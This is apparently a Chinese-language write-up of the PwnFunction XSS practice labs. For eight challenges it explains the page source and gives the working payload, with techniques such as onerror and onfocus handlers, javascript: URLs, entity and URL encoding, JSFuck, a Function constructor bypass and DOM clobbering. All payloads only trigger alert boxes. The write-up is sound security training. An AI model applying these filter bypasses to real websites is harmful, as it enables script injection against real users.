网络安全之xss靶场练习

目录

一、xss靶场练习

1、Ma Spaghet!

2、Jefff

第一个方法

第二个方法

3、Ugandan Knuckles

4、Ricardo Milos

5、Ah That's Hawt

6、Ligma

7、Mafia​编辑

8、Ok, Boomer


一、xss靶场练习

靶场地址

https://xss.pwnfunction.com/

 页面显示如下

1、Ma Spaghet!

分析源码

从上面可以看出,我们的url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串,这里需要对innerHtml有一个比较清楚的认识。

<script>alert(1)</script>

发现没有弹窗,为什么呢?于是在官方文档查看

原因:不同点在innerHTML,所以发现该函数存在安全问题,该函数里的script不会被html5执行,所以我们用img标签来绕过

<img src=1 onerror=alert(1337)>

成功了

2、Jefff

我们直接分析上述代码,和上一个游戏一样,还是有一个jeff参数,但是这次多了一个eval函数,这个函数究竟起到什么作用了呢,我们依然看官方文档。


eval会把字符串当成javascript代码执行,所以我们尝试用以下alert(1337)

eval只会接一个参数,但会分情况,如果第二个参数是字符串,则eval只会接受一个参数,如果第二个参数是函数,eval则会接受该函数并执行

第一个方法

jeff=1";alert(1337);//

第二个方法

使用连接符

jeff="-alert(1)-"

3、Ugandan Knuckles

分析源码,发现我们的传参在input当中,而且还没有过滤双引号,那我可以尝试闭合双引号,逃逸出来,做我们想做的事情,我们使用onclick来实现这一关的需求,但是由于题目有不能交互这样的限制,那么我们就不可以使用onclick,毕竟这一关过滤了<>,但是我想到了input有着焦点的功能,那我们使用onfocus+autofocus来实现

?wey=aaa" οnfοcus=alert(1337) autofocus="

4、Ricardo Milos

查看源码后发现,这一关有action,而在action中可以使用伪协议,同时这一关会在进入页面后两秒钟自动提交,那就简单了

?ricardo=javascript:alert(1337)

5、Ah That's Hawt

这里我们有一个清晰的sink will.innerHTML,但由于过滤器删除了()`字符,因此无法调用alert(1337)。但是过滤器忘记了考虑属性的值可以是HTML实体编码的,因此我们只是对有效载荷进行编码。此外,我们对有效载荷进行URL编码,因为它有一些URL不安全的字符,如&。

通过分析代码,我们发现这一关有正则表达式,过滤了()`\并且是全局过滤,这样一来,不能使用()就对弹窗很不利,那么我首先想到的办法就是编码,利用编码进行二次解析进行绕过

原语句 <svg onload="alert(1337)">
实体编码 <svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
url编码 %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

最终payload

?markassbrownlee=%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6、Ligma

看完这一关后的源码后,发现过滤了大A到大Z,小A到小Z,0-9,那这时候我们也不能使用编码,我想到了使用jsfuck网站加密,那这样无法被url解析,我们需要改为urlcode编码方式

原输入 alert(1337)
JSFuck加密 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7、Mafia

绕过方法
定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
利用数字和字符串之间的互相转换,来绕过针对alert的检测。
在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。

分析源码明显可以看出,这一关过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,这样的一个正则,同时也限制了一个长度“截取长度50的字符串”
最常用的三个函数,alert、prompt、confirm,三个函数都能实现弹窗 alert被限制

?mafia=prompt(1337)?mafia=confirm(1337)

很明显,我们的这两个弹窗函数可以完美的绕过他这个正则,但如果这两个函数都被过滤了呢,

如果都过滤了那我们就使用Function构造函数

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

8、Ok, Boomer

发现这个题目使用了DOMPurify这个第三方库来过滤非法字符

通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify,DOMPurify防御用户输入框架,会把你的危险属性过滤完了,而这个过滤框架由安全团队cure53开发,以我们的技术很难绕过。但是注意setTimeout函数内的ok参数这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏

查看页面源代码,我们发现突破口在setTimeout(ok,2000)

?boomer=<a id=ok href=tel:alert(1337)>

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